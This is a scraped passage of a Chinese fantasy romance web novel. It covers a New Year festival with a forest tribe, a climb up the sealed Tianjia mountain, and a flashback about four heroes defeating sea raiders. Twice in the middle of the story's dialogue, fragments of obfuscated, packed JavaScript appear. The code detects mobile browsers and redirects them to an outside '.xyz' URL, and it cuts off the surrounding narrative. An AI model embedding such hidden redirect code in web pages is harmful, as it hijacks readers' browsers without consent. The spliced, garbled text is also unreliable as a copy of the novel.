言朝打断他,道:“没什么不妥就走吧!”说罢,拉着阿克就往神树那儿走。没走两步就停下来,又道,“我自己也可以去,你去跟大家宰羊吧,我一会就过去。” 阿克一听宰羊,双目顿时放光,道:“好!那阿姐你要快点来啊!晚了可就分不到好肉啦!” 言朝望着他跑远的身影,无奈地摇了摇头,可一想到适才阿克说要分肉,她不由加快了步伐。 当她来到神树前,确有不少年轻男女前来系福结,他们在神树的见证下,共同系结,共同祈愿,福结上的铃铛在风中发出脆响,仿佛神树已经听到并接收他们的祈愿,在不远的将来,这里每一对虔诚的璧人都会修成正果,达成所愿。 言朝弥清一个人站在较为偏僻的一处,望着福结出神,不知道在想什么。 言朝走上前,边将自己的福结系上边道:“弥清,新年好!你一个人在这想什么呢?” 弥清回过神,笑道:“阿朝,新年好。” 言朝道:“我听阿克说,风奚他们俩去帮着宰羊了,你怎么没去?” 弥清有点小得意地道:“是我跟他说想在这待一会,所以他系完就跟着大家一起去宰羊了。他还说等分肉的时候,给我挑我最爱吃的羊腿呢。” 言朝“啧”了一声,道:“真是没想到啊,你们神仙也会相信这些。” 弥清正色道:“神也是从人过来的。神只管实现人的愿望,那谁说神不可以有愿望?再说了,不止我们,风奚也系了福结。认识他这么久,还是第一次见他对姻缘如此认真,也不知是哪里的女子得了他的青睐?” 言朝瞧她一脸的认真样,没来由的一阵心虚,可弥清的样子又实在好笑,道:“你的眼里心里果真是只有遥旭哦!” 弥清“啊?”了一声,不解地看着言朝。 言朝笑着摇了摇头,道:“我的意思是说,你这样挺可爱的。” 弥清一本正经地道:“那你呢?你又是心仪哪里的郎君?我看风奚就挺不错,可惜已经心有所属了,不然以遥旭那性子,肯定已经开始撮合你们了。” 闻言,言朝霎时呛了一口风,猛地咳嗽了几声,半天说不出话来。 弥清吓了一跳,连忙拍着言朝的背,担忧道:“这好端端的怎么,你还好吗?” 言朝弯腰摇头,擦去眼角渗出的泪水,缓了半天,好不容易捋顺了气,道:“我挂这个不是为了求姻缘的,只是为了祈福。我若是喜欢谁,会自己争取的,两情相悦自是很好,若是不成,我便换一个喽。” 话音刚落,忽闻一声号角声,人群中有人道:“这个时间快要分肉了,咱们赶紧过去啊!” 言朝牵起弥清的手,道:“走吧!看看你的遥旭有没有给你留下你最爱的羊腿!” 二人跟着众人来到羊圈前的空地,拉布坦站在最前方,背后十只已经宰好的羊挂在木架上,每一只羊旁边都站了一位分肉匠,持刀肃立,蓄势待发。 言朝一眼就看到了站在不远处的风奚,他袖子半卷,头发束得有些歪,看上去十分随意,面上惯常挂着笑,却比以往看着更放松,更像一个少年了。 风奚似是察觉到目光,微一侧头,二人目光交汇,言朝一怔,风奚低笑一声,没出声,朝她说了一句话。 “朝朝,新年好。” 言朝一笑,也依此回复。 “风奚,新年好。” 弥清看向言朝,道:“阿朝,你笑什么呢?” 言朝:“......” 拉布坦突然开口道:“族人们!适逢新年,我们又迎来了四位拉野和我们一同庆祝新年,今年注定是不平凡的一年!也必将是充满希望的一年!” 族人们闻言振臂高呼,欢呼声久久不散。 言朝看着眼前的场景,想起早上那个梦,还真是现实与梦境重合。 拉布坦道:“往年我们用玩嘎拉哈来比谁分得的羊肉最多,今年依旧如此。但经我与族中各长老商议,决定今年换一种玩法,这样才不会显得我们胜之不武啊!” 众人哈哈大笑,言朝和弥清被簇拥着上前,四个人站到一起,遥旭叉着腰,道:“就算你们不换,我们几个也未必会输!” 风奚挑眉笑道:“是啊,你们也千万不要手下留情。不妨试试看,看看这新鲜的羊肉谁分的多?” 言朝和弥清对视一眼,道:“尽管放马过来吧!” 此言一出,众人愈加兴奋,纷纷嚷着要第一个和他们比。 拉布坦笑了两声,道:“诸位稍安勿躁,请容我先来介绍规则。”说罢,拉布坦指向右侧的两张长木桌,并拿出一个嘎拉哈,又道,“我们会在桌面上把五个带标记的嘎拉哈摆好,参与者需用手指弹其中一个,让它碰撞到后面排列整齐的五十个嘎拉哈,使它们移动到桌下的网袋里,带标记的不可入洞,入则视为无效。半柱香的时间,率先将五十子进洞者,可优先分得羊肉。” 这游戏看似简单,实则不易。先是那木桌,纹理粗糙不平滑,上面似乎还有许多不深不浅的裂缝,若是力度掌握不好,极易使其卡在缝隙里,或是直接弹飞出去。再者说,每个人只能用手弹,而不能借助工具,加上这天气,虽然今日阳光明媚,但毕竟是冬日,这一遭下来,手指没冻僵,也要弹得生疼了。 四人一组,轮番上阵。既是公平对决,自是不会用法力,克羌也同样派出两男两女。但这游戏也确实比不上克羌人熟悉。 第一轮弥清自请出战,没能领会要义,败下阵来。其余三人也没闲着,仔细观摩过程,到遥旭上场时,便与他们打成了平手。 四局三胜,若想获得优先选择权,接下来两场都必须赢。 遥旭道:“风奚言朝!咱们四人的希望可全在你们身上了,你俩可得争口气啊!” 弥清也道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14437908|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “就是!我的羊腿可就要看你们的了!” 二人相视一笑,风奚道:“朝朝,看来我们任务艰巨啊。” 言朝眨眨眼,笑道:“咱们赢定了!” 第三局到风奚上场,他一改往日的随意,神情认真专注,在长桌前来回游走,在半柱香才燃到一半时,便率先将五十个嘎拉哈弹进网袋中。 此局已定,原本对方还因前两局的胜利有些自得,但经风奚这一局,又立刻谨慎起来。 成败只在最后一局。 克羌派出一个和言朝身量相当的女子,此女子目光锐利,步伐稳健有力,一看就是个有实力的。 言朝也是当仁不让。 上一刻她还朝对手善意的微笑,下一刻便全身贯注地投入到比赛中。看了前面三局,走位与技巧她已熟稔于心,加上她幼时曾玩过类似的游戏,所以上手很快,但却没有掉以轻心。 最终,在一番激烈角逐下,言朝赢得了比赛。 此时,她的鬓角已浸上一层薄汗。 拉布坦高声道:“我宣布!我们的四位拉野获胜!” 此话一出,欢呼声与掌声齐鸣。 言朝这才松了一口气,她先是走上前与自己的对手相拥,道了声“承让”,而后再与其他三人一一击掌,道:“我表现的怎么样?” 风奚拿出手帕递给她擦汗,道:“朝朝最厉害!” 遥旭竖起两个大拇指,激动地道:“你简直太棒了!你都不知道我刚才看着有多紧张!” 弥清上前给了言朝一个大大的拥抱,道:“阿朝,你太棒了!我的羊腿有着落了!” 言朝第一次见弥清这个样子,还有点不适应,只道:“好好好!羊腿都是你的!” 四人从十只羊里选了一只最钟意的,四人本想选各自喜欢的,请分肉匠为他们分肉,拉布坦却直接将一整只羊都送给了他们。几人商议之后,索性来个烤全羊。 其实比赛只是一个形式,大家一起热闹之余,图个新年的好彩头。剩下的九只羊,皆被分肉匠拆解,分发给族众,每一个人都有份。 夜晚,众人围在篝火前载歌载舞,吃肉饮酒。 四人围坐在一起,弥清率先举杯,道:“新年了,大家有什么愿望吗?” 言朝饮下此杯,神情淡淡,道:“我的愿望是能睡个好觉。” 风奚望向她,眼波流转,道:“我的愿望是,愿我所爱所念之人踏尽千帆,无虞常乐。” 弥清看向遥旭,道:“遥旭,那你呢?” 遥旭笑了,道:“我的愿望很简单,只要咱们四个人一直好好的就行。” 三人闻言一怔,弥清道:“真巧,我也是。” 言朝看不下去,道:“你们俩真是够了!这样显得我们俩的愿望很不大气啊!” 话音未落,阿克跑来叫他们,道:“阿布阿姐,走啊!去唱歌跳舞!” 众人在巨大的篝火前围成一圈,大家手拉着手,拉布坦雄浑辽阔的声音唱响了克羌的赞歌,众人随着歌声起舞,共同歌唱。 不知是这气氛感染人,还是人突然开了窍,遥旭的歌声难得没走调,风奚的舞步也变得协调。 这是他们有生以来,过得最特别,也是最难忘的一年。 到了子夜时分,族人们到空地上去点焰火,一个个多彩绚烂的火花在空中绽放,人们在焰火下互道新年祝福,焰火见证了他们的笑容与美满。 如此温馨和乐的场面,遥旭却先行离开了,弥清也随他一同离开。 言朝不解:“他怎么了?” 风奚道:“这么多年了,他还是不喜欢看焰火。” 言朝有些担心,道:“不要紧吧?” 风奚道:“没事,弥清陪着他呢。” 言朝点了点头,风奚忽然握住言朝的手臂,声音轻颤,道:“朝朝,你心里可有挂念的人?” 言朝闻言一怔,见他目光切切,手上的力度颤而不松,有些期待,有些忐忑。言朝笑了一声,歪着头眨眨眼,如实道:“有啊,我挂念他很多年了。而且,我们从小就认识了。” 42. 寻往迹初上天迦 风奚挑眉,不知是遗憾,还是开心,道:“这么说,你们是还没在一起?” 言朝道:“是啊,我家里人不同意。” 风奚没听出什么情绪,道:“是他不好吗?” 言朝摇了摇头,诚实地道:“恰恰相反,他是个很好的人。不同意只是因为不想我被旧时的情谊束缚,想让我多见见,见得多了,再选也不迟。” 风奚道:“有道理。那朝朝如今定是见了许多人了。” 言朝笑了:“是啊。虽然我觉得和喜欢的人在一起与想做的事并行,这两者并不冲突。但这件事对我很重要,我只有处理好才能安心。况且我听说他已经有喜欢的人了,待这一切了结,若是想选,再找一个喽。” 言朝转过身,抬头望着天上的焰火,焰火虽美,却稍纵即逝。 不知是不是言朝的错觉,方才转身时,风奚似是笑了一下。 言朝没有看他,道:“我听弥清说你有了喜欢的人,你这般厉害,想必你喜欢的人也定是极好的。” 风奚也转身抬头看焰火,道:“她确实是个极好的人。我只见过她两次,初见匆匆一瞥,来不及问名,再见相伴一月,来不及告别。我欠她一句‘谢谢’,也欠她一句‘对不起’。万幸我还能与她重逢,万幸我得知我与她本该自幼相识。只是她不记得了。” 突然,轰的一声,今夜最绚烂的焰火绽放了,风奚的最后一句话也被焰火声掩盖,言朝没有听见,她也的确记不得了。 言朝怔了一瞬,只觉面上一阵热,她偏过头,一手紧紧地攥着胸口,耳边响起一阵急切的“砰砰”声,那是她的心跳声。 她不知该如何形容此刻的心情,只觉此刻心上正被一股强烈的,复杂的情绪充斥着。 喜悦有之,震惊有之,疑惑更甚。 她被自己的反应吓了一跳,也被自己这没来由的自信惊得莫名。她觉得自己一定是被弥清影响了,言朝非常肯定,风奚说的人就是她! 他一定知道自己是谁,毕竟她本来也没想瞒着,只是一时没有找到合适的时机。方才听他话里的意思,既然已知她的身份,那桩父辈口头上的往事他也想起来了。 只是有一点实在奇怪,她与风奚之前见过吗? 听他提起那段时,语气里满是遗憾和悔恨,可她却怎么也想不起自己何时与他见过。 言朝无奈地笑了一声,心道:“言朝啊言朝,你咋就这么确定说的人一定就是你呢?” 风奚道:“朝朝,你怎么了?” 言朝“啊?”了一声,忽然有些窘迫,道:“时候不早了,明日拉布坦不是还有事要说嘛,我就先回去了。你也早点休息。” 言毕,不等风奚回复,言朝就快步离开了。 翌日清晨。 克羌在初一这天除了系福结,还有“纳福寻福”的传统。 纳福是指在初一这天走亲戚,接受亲人们的祝福。通常被拜访的亲戚,都会赠予清早新烤的木巴和新煮的羊肉,拜访者会回以吉祥话,并赠予一条亲手制作的绣着克羌吉祥纹的长纱巾。 寻福则是除嘎拉哈外的又一娱乐活动。各家会拿出一部分自家打的猎物,藏于林中各处,由毕摩及长老们亲自绘制一张地图,让各家派人到林中寻找。“寻福”谐音“幸福”,若想获得幸福,就要依靠自己的努力。无论最终获得的猎物多少,只要是真心实意做了,你都已经获得了幸福。 遥旭和弥清也想体验一回,就跟着族人们一起去了。 言朝和风奚则被拉布坦单独叫到了帐中。 二人一进来,只见拉布坦,却不见另外两人,二人对视一眼,风奚道:“你这是什么意思?” 拉布坦端坐正中,从容道:“两位先坐下来喝碗奶茶吧。” 两人闻言,相对而坐。 言朝道:“你特意叫我们来,是想说什么事?” 拉布坦叹了一声,道:“先祖曾预言,将来会有新的天稷四君子在百年后重临克羌,所以我一早便知你们会来。只是没想到是在如此境遇之下,真是天道不公,造化弄人啊。” 言朝道:“这么说,克羌先祖早知天稷榜会重现世间。你还知道什么?” 拉布坦只道:“我之所以单独叫二位前来,只因我知道你们二人的目标相同,且都有超脱凡人的意志。幸而你们又彼此信任,此心可鉴,纵前路多艰,亦坚不可摧。” 风奚望向言朝,唇角微扬。 言朝大大方方的回以一笑,甚至笑得有点得意。昨日那番怀疑竟被拉布坦一句话给彻底打消了,她更加坚定风奚喜欢的人就是自己,至于她记不起来的过往,往后的路还长,什么时候想起,什么时候算。 只是拉布坦说他们目标一致,难不成他也在查万灵之力吗? 拉布坦道:“不知二位可还记得天迦山?” 二人四目相对,皆是一惊。 天迦山,是最初的诞神地,亦是除云槐外,另一个禁地。 天迦山,是坐落于凡届的神山。神山外有一层结界,各路仙神都聚居在天迦山上,他们隐藏身份,可以自由来往于人间各处,人神共处一界,关系还算融洽。 那时还没有天都。 直至后来万灵之乱爆发,众神皆陨,遥岐亲斩弥祯于天迦山上,创立了天都,封印天迦山,自此三界始成。 言朝道:“你为何会提到天迦山?” 拉布坦道:“这里是上一代天稷四君的转点,他们身在局中,你们亦是如此。若要破局,或可到天迦山上一探究竟。” 风奚道:“我们四个人既已成一体,为何你独叫我们二人前去?” 拉布坦咳了一声,道:“时机未到,言多无益。但既已入局,一切便是命数。” 风奚道:“我不信什么命数,只有掌握在自己手中的才算数。”他望向言朝,又道,“朝朝,看来这一趟要抛下他们俩了。” 言朝嗤道:“我早有此意,既然此间提起,这一趟是非去不可了。” 原本就没打算逗留太久,如今有了要紧事,自然不能再继续待下去。 言朝与风奚向遥旭和弥清说明了情况,次日一早,四人便向克羌众人辞行。 临走前,族人灌满了一壶热乎的奶茶和新烤的木巴,给四人带在路上吃。 阿克不舍地拉过四人的手,道:“阿布阿姐,你们就不能再多留一段时间吗?” 四人面面相觑,这段时间虽与族中众人都相处甚欢,但阿克始终在他们身边,感情总是有些不同的。如今分别,即便心中千般不舍,也终需再见,惟愿他日重逢。 遥旭蹲下身,摸了摸阿克的头,道:“小子,这些日子谢谢你一直照顾陪伴我们。但我们还有重要的事要做,若是有缘,我们定会再见。” 阿克红着眼,道:“真的吗?” 三人道:“真的,相信我们还会再见。” 言朝掏出一包杏子干交给阿克,道:“这是会让人感到幸福的杏子干。阿克,你和大家,一定要幸福啊!” 阿克欢喜地收下,从怀中掏出四条用兽骨做成的项链,分别戴在四人颈上,道:“这项链是最好的护身符,它们会一直保佑阿布和阿姐们的!” 族人们向四人行临别礼,齐声道:“克羌始终与你们同在!” 四人道:“谢谢大家!谢谢!” 拉布坦缓步走上前来,道:“我们克羌有一句话叫‘篝火能把严寒驱散,团结能把困难赶跑’。当下困境并非最终定局,祝愿四位无论遇到任何艰难险阻,都能携手并进,信任不疑。” 不知是不是言朝的错觉,她总觉得今日的拉布坦有些奇怪,他看上去好像很虚弱,让她莫名感到不安。 言朝一把抓起拉布坦的手,脉象并无异常,可她还是不放心地问:“你没事吗?” 拉布坦闻言一顿,笑了两声,道:“我只是年纪大了,这几日族中事务众多,我有些累罢了。”拉布坦目光慈和,意味深长地道,“你们一路查案,解救了很多人。你们所做的一切,他日必会回馈给你们。” 言朝没听出其中深意,只当是拉布坦在祝福他们,笑道:“若真如此,便借你吉言了。” 拉布坦与族人同道:“珍重。” 四人道:“珍重。” ...... 四人离开克羌,出了林子,却始终未见榜灵现身。 遥旭道:“这榜灵莫不是消极怠工了?按以往他早就出现了。” 话音刚落,不远处落下一道金光,从光中走出一人,那人却不是榜灵,而是那个检察官——陶仲。 陶仲笑嘻嘻地快步上前,至四人身前站定,恭敬道:“几位好啊。” 上次他不识身份,只知是新天稷四君,言语间更多的是客套。如今已知一位是帝君之子,一位是明秀殿的代主神,另外两位肯定也不容小觑,此番只有实打实的恭敬。 他神微言轻,哪敢造次。 弥清道:“监察官,你为何会到此?” 陶仲道:“在下无事,也并非有意叨扰,只是来留个印章,留完便走。” 说罢,陶仲便立马转身,寻了一棵树,将印在那树上轻轻一按,又转身道:“诸位告辞!”说完便消失了。 还真是说走就走啊。 四人到树前一看,上面印着“好,又活一日,好”。 “......” 言朝道:“你们天上的检察官这么有趣吗?” 遥旭嘴角抽了抽,道:“有趣,确实有趣。我真是佩服得五体投地啊。” 弥清不可思议地道:“想不到检察官平日里一本正经,私底下竟是这样的人。” 陶仲走后,四人又在原地等了许久,始终未见榜灵出现。 风奚道:“我看他是吃多了撑得起不来,既然一次不来,那以后咱们便彻底无视他吧。” 言朝道:“就是,爱来不来!” 遥旭和弥清也深表赞同,毕竟从这个榜灵一出现,四个人就十分统一的,都不怎么喜欢他。 妖道金辛一事须得禀明天都,遥旭和弥清准备回天一趟。 风奚和言朝自是要去天迦山,只是没有告诉他们。 言朝道:“下个月春山楼开市,邀请你们到春山楼来做客,一定要来啊!” 遥旭激动道:“太好了!我早就想说了,其实我一直有个想法,如今认识了言朝, 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万灵之乱前,诸神定天迦,天迦山上坐落着众多神官的金殿,这里漫山遍野都是如画的楸树,每年开花之际,山道间,尽是人头攒动、络绎不绝的游人和信徒。楸香受了香火气,也添了几分灵气,常有信徒采拾花瓣露水沾沾福气。天迦名景,盛极一时。 结界之外是信徒们的虔诚祈愿,结界之内是众神官的接愿繁忙。 两两相望,别有一番乐趣。 山脚下有一处人间集市,名为“天材集”。 集市上常卖人们从附近山中挖来的草药菌菇野菜,还有猎来的各种野兽,时不时也能淘来些新鲜稀奇的小玩意儿。因在天迦山脚下成集,故得此名。山上的神仙也经常化名逛集。 后来万灵之乱爆发,集市上的百姓皆感染疫病惨死,山上诸殿倾覆,诸神陨落,一场大火将整座天迦山烧个精光,沦为一片焦土。 七百年过去了,这里的一切和从前一样,仍是埃埃废墟,寸草不生。集市上叫卖的招子依稀可见,音容笑貌犹在耳边,却终是物是人非,回不到从前。 这里被强大的法力笼罩,故不见四时变化,不受四时影响。凡入此间者,一身法力全无,若要上山,只能徒步登山。 言朝见风奚面色无恙,道:“你进入这里不会受影响吗?” 风奚笑了一声,道:“无碍。此处法力虽强劲,旁人或许不行,但对我只是暂时压制,不会有事的。” 言朝这才放下心来,抬头望了望这一眼看不到顶的天迦山,叹息一声,道:“虽然我没有法力,自是受不到什么影响。可这山这么高,爬上去可要累坏了。” 风奚挑了下眉,笑道:“那我背你上去如何?” 言朝当即拒绝道:“千万别!我就是说说而已。你法力被压制已经很不容易了,不就是爬山嘛,有什么大不了的。”言朝拍了拍腰间的包,又道,“吃喝在手,万事不愁!”说罢,就撸起袖子往山上走去。 风奚在身后笑着跟上。 一路上不是乱山落石,就是枯草残枝,十分难走。偏生四周除了他们二人和墨墨,再无半点声响,静得诡异。二人一路走走停停,行至半山腰时,已然疲倦。 二人寻了一处稍作休息,吃了东西,喝了水,言朝看着前方满是荆棘的路,无奈地笑了。 言朝看向风奚,道:“风奚,我能问你一个问题吗?” 风奚道:“你说。” 言朝道:“虽然你已经知道我是谁了,可你明明有调查的机会,你却没有。你似乎也不是在等我主动向你坦白,你的反应很平淡。” 风奚擦去嘴边的水渍,笑了一声,道:“你是谁并不重要,重要的是你,无论你是否告诉我,只要是你就好。拉布坦不是说过,我们彼此信任。至于你说我反应平淡,我想我似乎给你造成了什么误会,我很开心。朝朝,能再见到你,我真的很开心。” 墨墨突然叫了一声。 言朝一愣,立时起身,有些语无伦次地道:“爬山,赶紧,赶紧接着爬吧!这路还长着呢!” 风奚站起身,低笑一声,道:“明祈叔叔,他一切都好吗?” 一提到明祈,言朝登时冷静下来,笑道:“好啊,他一切都好。有机会去看看他,他可是一直念叨你们呢。” 风奚道:“好,我一定去。” 四个时辰后,二人终于登上了山顶。 奇怪的是,山顶上却不见半片残垣断瓦,反而整洁如新,就连一缕浮灰都不曾瞧见。这里什么都没有,只有一座随着时间流逝,逐渐走向倾塌的高大木塔。塔上立一牌匾,上面赫然写着“净神塔”几个大字。 风奚沉声道:“我并非第一次上天迦山,即便在万灵之乱后。但我从未见过这座塔。” 忽然,净神塔下浮现出一朵若有似无的莲花,那朵花的形虽弱,但它蕴含的力量却磅礴有力,不似封印或镇压,倒像是守护。 二人见之一惊,只因他们感知到,那朵花中包含的法力,不仅有明祈的,更有枫弋的。 43. 刻碑卫道许苍生 “铮”的一声,利刃出鞘,长箭破空。 “荡清贼寇,护我家园!” 半刻钟前,克羌丛林外,气氛凝重如铅,两方人马正相距数十丈对峙。 一方是远渡重洋而来,训练有素,早有预谋的水匪贼寇,一方是死伤惨重,路见不平,紧急聚集的士兵族众。双方实力悬殊,甫一看,后者无异于以卵击石,螳臂当车。 四名身披铠甲,意气风发的年轻人,一弓、一剑、一斧、一枪,他们目光如炬,手中兵器紧握,斜指地面,同他们身后的士兵们一样蓄势待发。 而他们对面的敌人,目光狡黠,看着有些散漫,时不时有几人交头接耳,甚至是嘲讽的讥笑。对于这支临时组建,没有默契,甚至毫不相熟的队伍,他们拥有对自己的绝对自信和对对手的绝对蔑视。 显而易见,他们正是弱势的那一方。 在四人来到克羌之前,克羌的毕摩已经带领族人与这帮不速之客事先较量过一番。本以为他们通水性,不善陆地作战,却不想他们早有准备,且手段阴毒,导致毕摩重伤昏迷。族人死伤过半。 此地距乌目、云槐两国近,遥岐与弥祯作为两国太子,岂能坐视不理。况且这帮水匪来势汹汹,若不及时阻止,任其发展,对任何一个国家都是隐患。二人即刻遣兵调将,与克羌共克敌寇。 风过丛林,枝叶沙沙作响,持弓的红衣男子羽箭离弦,随之高声一呼,大战一触即发。 刹那间,喊杀声如雷霆扎破,双方势力如汹涌的潮水般迅速扑向对方,瞬间厮打在一起。 战场上,尘土飞扬,武器相击之声不绝于耳,血腥之气渐浓。虽是第一次交战,但他们从不打没准备的杖,很快敌寇便败下阵来。 四人虽属不同国家,但他们四人少年相识,一路查案,默契早已无人能敌。 他们轻敌了。 成功将敌寇击退的同时,遥岐和弥祯也就此通令两国联合搜剿余孽。一窝海上来的水匪,竟能神不知鬼不觉的深入到北部丛林中,可见此事的严重性。 一个月后,克羌族内。 明祈边打包配好的药材边道:“弥祯,我说什么来着?他们俩的武器都不如我的药快。” 弥祯如实道:“确实。此次事件要不是你用药及时,后果不堪设想。可若是没有他们俩及时带人增援,这事也是成不了的。” 坐在一旁的黑衣男子闻言,勾了勾唇,他正仔细地擦拭着一柄长斧。 那斧刃锋利如芒,斧面森寒透亮,斧柄上雕刻着繁复骇人的纹样,柄周颜色不一,应是用了许久,但看得出保养得当,虽历经岁月磨砺,但仍带着一身杀伐狂傲之气。斧一翻转,一道寒光闪过,便将一对桀骜不驯的目光映于斧上。 那人正是枫弋。 枫弋将宝贝长斧架在肩上,笑道:“明祈,你说这话也不嫌臊得慌。没有人家弥祯的计策,你还能在这得意?” 明祈道:“老疯子,照你这么说,你还得感谢遥岐和弥祯带来的人,让你单独带领一支队伍,体验了一回当将军的快感。” 枫弋翻了个白眼,道:“第一,不要再给我起这么难听的外号。第二,我早就谢过了,但我一个人自由自在惯了,还是当我的江湖侠客更好。” 明祈“哦”了一声,道:“你的意思是说,我可以给你起好听的外号喽。” 枫弋:“明祈......” “在外面就听见你们俩的声了。明祈,你又给我们枫大侠取什么外号了?弥祯,你没拦着点儿?” 遥岐的声音从帐外传来,打断了枫弋的话。 弥祯见遥岐进来,无奈地道:“我拦有用吗?咱们俩又不是没有,你说是吧,‘摇旗’。” 此话一出,除遥岐外,其余三人皆捧腹大笑。 遥岐道:“明祈,你看看!端方如弥祯,如今也被你带坏了!” 明祈双手一摊,有点无辜地道:“难道你们不是乐在其中吗?” 枫弋道:“行了行了,遥岐你快说说,那窝水匪到底什么来头?” 遥岐道:“他们本是生活在海上一座小岛的人。” 他们自称“海之子”,所用所取皆来自于大海。奈何,大海并没有眷顾他们,反而在经年累月中不断吞噬他们生活的岛屿。眼见着家园渐失,他们便心生歹念,盯上了千里之外的那片广袤的沃土,他们要在那里建立新的家园。 为此,他们筹谋数年,无论男女,皆练成兵,学习各国的文化语言,远渡重洋,分批来到这里。 他们上岸第一个碰见的,就是世代居于海边的息哲部。本想假意与息哲人交好,再借机霸占他们的土地,未曾想碰上个硬茬。 息哲部的族长向来机警,起初听闻他们家园被毁的事迹,却有一丝同情,也好吃好喝的招待他们。可毕竟是外人,他也并未全心信任。果然不出他所料,不过月余,他们便本性暴露,展开了屠杀,但族长早有防备,将他们杀了个措手不及。 他们无论如何也想不到,他们多年来的筹谋竟在酒桌上毁于一旦。 某次族长宴请他们的带头人,只因几日接触下来,发现他们虽言行谨慎,可仍旧能从细微处看出,他们对这里的一切似乎都太过了解了。本想借机试探一番,没想到还真查了出来,只是这阴谋实在恶毒,若是着了道,息哲就此覆灭,那些人自然是留不得了。 族长杀伐果断,男女老少,全部斩杀,永绝后患。 这一支是彻底消灭了。 可族长只知他们要霸占土地,残害族民,却不知他们还有分散在其他国家的人。 他们岛内流传一种秘法,类似于千里传音,他们彼此之间就是依靠此法联系。当任意一支遭遇不测,其他人就会迅速做出调整,在他国潜伏时,也会更加的小心谨慎。在经历了几次自我牺牲式的试探后,他们的策略愈发成熟,选择的地点也愈发偏僻,克羌地处北部丛林,这里人烟稀少,若真被他们占了,以后发展起来,定成大患。 幸而如今还不算太晚。 枫弋听罢,冷笑一声,道:“怪不得个个阴狠歹毒,无路可退的亡命之徒,自然是有这样的勇气的。” 弥祯沉思片刻,道:“我之前便有所耳闻,但当时息哲的族长做的彻底,那些人又近乎销声匿迹,我便没多留意。现在看来,倒是我大意了。” 明祈道:“这怎么能怪你?明明是小人之过,另寻家园并没有错,但以屠杀的方式强占土地,他们就是罪该万死!” 遥岐道:“虽然他们停驻的时间不长,但要彻底剿灭他们却非一日之功。好在我们发现及时,如今我们联手,定不让他们有可乘之机!” 明祈拍手叫好,笑道:“太好了!这次咱们帮克羌解了灭族之祸,可谓是功德一件,毕摩还说要好好谢谢咱们呢!” 弥祯道:“帮他们也是帮了我们自己,我倒觉得不必言谢。” 遥岐道:“咱们一路查案,本就没想求回报,确实不必言谢。” 枫弋调侃道:“就你们两个正人君子,做好事还不留名。人家还没说要怎么感谢呢,你们俩就先拒绝了,真是有够绝情的。” 明祈拍了下枫弋的肩,叹了声气,佯装难过地道:“枫兄啊,咱们俩可真是命苦啊,怎么就认识这么两个朋友呢?” 枫弋也难得的认同道:“是啊,交友不慎!交友不慎啊!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14515995|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 弥祯:“......” 遥岐大声道:“明祈!枫弋!你们两个真是够了!” 四人面面相觑,须臾,四人放声大笑。 翌日。 毕摩同四人商量,会允其一诺,千年万载,亘古不变。 四人道:“既如此,就请一直守护这片土地吧。” 克羌人感其恩,念其言,在落雪、山林、龙角仙的见证下,许下了终生传承的诺言—— 宁失头颅,寸土不让! 四人离开前,毕摩提议给四人各画一幅画像,留在克羌,以供后人铭记。 原本他们是拒绝的,但转念一想,他们四人相识至今,还尚未作过画像,铭不铭记倒是无所谓,主要是想给彼此留个纪念。 纵被世人遗忘无所惧,只要他们四人互相记得,足矣。 四人都特地换上了一套新衣服,将他们的武器都擦得亮亮的,四个人站在一起,拿着武器,前后左右摆弄了半天,谁也没决定好究竟要摆什么姿势才好,最后还是决定随心走。 明祈仔细地理了理衣衫,将佩剑置于胸前,站得笔直,笑道:“麻烦你们一定要把我的英姿通通展现出来啊!谢谢啊!” 枫弋单手执斧扛在肩上,睨了他一眼,道:“你这么自恋,真不知道云湘到底是怎么看上你的......” 弥祯负手持枪,笑道:“可能觉得他话太多,放身边看着有意思吧。” 遥岐抱臂环弓,道:“我看也是,总不可能是看上他的样貌吧。” 明祈指着他们三人,道:“别瞧不起人啊!我可是靠才华赢得我湘儿的芳心,你们少在这败坏我的形象,也不许到她面前乱说!” 枫弋“哦”了一声,道:“那你就是承认自己长得一般喽。” 明祈:“......” 毕摩道:“不如给画起个名字吧。” 四人思索片刻,既然他们因天稷榜结识,便异口同声道:“那就叫天稷四君吧!” 至此,克羌的画师将他们此刻的样子画于纸上,在各自的画像上写下他们的名字,并附上“天稷四君”的红印,再用特殊的香料在纸张上镀上一层保护膜,可保画作千年不坏。 亦将此刻的他们永远定格。 两个月后的一天,明祈突然传信将其他三人叫到自己家中。 他们还以为是发生了什么要紧事,火急火燎地赶到,却被告知只是寻到了一块平平无奇的大石头。 “......” 三人齐声质问道:“明祈,你要干嘛?” 云湘见明祈还在那卖关子,就替他说了:“他是想把咱们几个人的名字刻在这石头上,埋在地下,想着千百年后能有后人将它挖出来呢。” 弥祯道:“这是何意?” 明祈道:“我且问你们,咱们一路查案是为了什么?” 遥岐道:“荡平世间恶,勇义明于心。” 枫弋道:“别整这么文绉绉的,就说捍卫人间正道,守护天下苍生得了。” 须臾,弥祯道:“所以你是想把我们的信仰连同名字一起刻在这石碑之上,若有后人看到,希望他们也能如我们这般一往无前吗?” 明祈打了个响指,笑道:“没错儿!与天道相比,我们或许渺小,但我们既在芸芸众生中,亦有蚍蜉撼树之力。虽不知千百年后会是什么样子,但我相信后世定会一直有如我们一般勇敢的人!” 三人道:“我们就是彼此的信仰,身死志不消!” 他们分别将自己及妻子的名字刻在石头上,同时还刻下了一句话—— 今世人刻碑许苍生,愿来者志昂,逆险犹刚。 44. 咏槐宴醉酒成王 